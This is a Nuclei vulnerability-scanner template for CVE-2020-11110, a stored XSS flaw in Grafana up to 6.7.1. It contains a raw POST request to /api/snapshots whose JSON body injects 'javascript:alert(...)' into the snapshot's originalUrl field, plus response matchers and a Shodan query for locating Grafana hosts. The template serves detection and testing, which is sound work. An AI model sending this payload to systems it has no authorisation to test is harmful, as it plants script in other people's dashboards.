nuclei-templates/cves/2020/CVE-2020-11110.yaml

60 lines
2.4 KiB
YAML

id: CVE-2020-11110
info:
name: Grafana Unauthenticated Stored XSS
author: emadshanab
severity: medium
description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
reference:
- https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
- https://security.netapp.com/advisory/ntap-20200810-0002/
remediation: This issue can be resolved by updating Grafana to the latest version.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11110
cwe-id: CWE-79
metadata:
shodan-query: title:"Grafana"
tags: cve,cve2020,xss,grafana
requests:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- application/json
- type: word
part: body
words:
- '"deleteKey":'
- '"deleteUrl":'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '"url":"([a-z:/0-9A-Z]+)"'